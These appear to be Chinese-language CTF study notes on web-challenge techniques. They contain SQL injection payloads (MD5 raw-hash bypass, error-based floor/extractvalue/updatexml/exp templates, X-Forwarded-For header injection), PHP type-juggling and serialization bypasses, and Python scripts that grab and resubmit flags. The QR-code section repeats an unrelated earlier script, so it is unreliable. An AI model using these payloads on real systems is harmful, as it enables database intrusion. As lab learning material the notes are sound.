一、CTF之MD5参数特殊字符注入攻击
$sql = "select * from admin where usename ='admin' and password ='".md5($password.true)."'"
语法:
md5(string.raw)
string 必须,要计算的字符串
raw 可选,默认不写为FALSE,32位16进制的字符串;TRUE,16位原始二进制格式的字符串。
‘ or 1=1 --
$password = ffifdyop
二、CTF之POST提交下MYSQL报错注入
1、报错注入floor:
select 1 from ( select count(*),concat((payload[])),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1
2、报错注入extractvalue:
select extractvalue(1,concat(0x5c,([payload])))
3、报错注入updatexml:
select 1 =(updatexml(1,concat(0x3a,([payload])),1))
4、报错注入Exp:
select Exp(~(select 8 from ([payload])a))
三、CTF之SQL注入HTTP头注入伪造IP
X-Forwarded-For:192.168.1.120' order by 1--
四、CTF之jsfuck加密解密 Console运行
原理:利用审查元素对JS加密进行运行计算
五、CTF之HTTP响应头获取提交方式请求获取
请求头
响应头
1、先获取响应头flag数据
2、将flag进行base64解码
3、以post提交带入key参数及flag值
pyhton代码如下:
import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php"
flag = requests.get(url).headers["FLAG"]
print(flag)
flag = base64.b64decode(flag)
print(flag)
flag = str(flag).split(":")[1]
flag = str(flag).split("'")[0]
print(flag)
#data={"key":flag}
flag_code = requests.post(url,data={"key":flag})
print(flag_code.text)
六、CTF之URLEncode解决PHP备份获取Flag
注意:有时候需要URLEncode两次,因为浏览器默认会自动解密一次。
七、CTF之代码分析session和cookie的关系
利用接受数据判断获取flag
session:用户会话 服务器 更安全
cookie:用户凭据 本机 不安全
八、CTF之PHP运算符反序列化原理与安全问题
运算符:
==:比较运算号,不会检查条件式的表达式的类型
===:恒等计算符,同时检测表达式的值与类型
PHP序列化与反序列化
serialize() 对输入的数据进行序列化转换
unserialize() 恢复原先变量,还原已经序列化的对象。
240610708 md5()
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
a代表array,s代表string,b代码bool,而数字代表个数/长度
九、CTF之PHP过滤中未递归导致的安全问题
pphphp = > php
未使用递归过滤会导致只过滤一次
127.0.0.1/x.php =>127.0.0.1/x/x.php
十、CTF之PHP脚本 全局变量下的IP安全
关于获取IP的实际情况
1、基于操作系统下的获取
2、基于脚本代码下的获取(可伪造)
$_SERVER["HTTP_X_FORWARDED_FOR"]
十 一、CTP之加密解密、加码解码算法题目过关
常见的通用加解密和加解码
独立开发的加密算法
1、Hex加密
0x253464253534253435253335253433253661253435253737253464253531253666253738253464253434253637253462253466253534253662253462253464253534253435253738253433253661253435253737253466253531253666253738253464253434253435253462253464253534253435253332253433253661253435253738253464253531253666253738253464253534253535253462253464253534253431253330253433253661253435253737253465253531253666253738253464253661253435253462253466253534253633253462253464253534253435253737253433253661253662253334253433253661253662253333253433253661253435253738253465253431253364253364
2、URL加密
%4d%54%45%35%43%6a%45%77%4d%51%6f%78%4d%44%67%4b%4f%54%6b%4b%4d%54%45%78%43%6a%45%77%4f%51%6f%78%4d%44%45%4b%4d%54%45%32%43%6a%45%78%4d%51%6f%78%4d%54%55%4b%4d%54%41%30%43%6a%45%77%4e%51%6f%78%4d%6a%45%4b%4f%54%63%4b%4d%54%45%77%43%6a%6b%34%43%6a%6b%33%43%6a%45%78%4e%41%3d%3d
3、Base64加密
MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTUKMTA0CjEwNQoxMjEKOTcKMTEwCjk4Cjk3CjExNA==
4、ASCII码
119 101 108 99 111 109 101 116 111 115 104 105 121 97 110 98 97 114
十二、CTP之Pyhton图片库解密二维码明文
http://ctf5.shiyanbar.com/423/misc/code.txt
Pyhton字符串生成二维码图片代码:
import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php"
flag = requests.get(url).headers["FLAG"]
print(flag)
flag = base64.b64decode(flag)
print(flag)
flag = str(flag).split(":")[1]
flag = str(flag).split("'")[0]
print(flag)
#data={"key":flag}
flag_code = requests.post(url,data={"key":flag})
print(flag_code.text)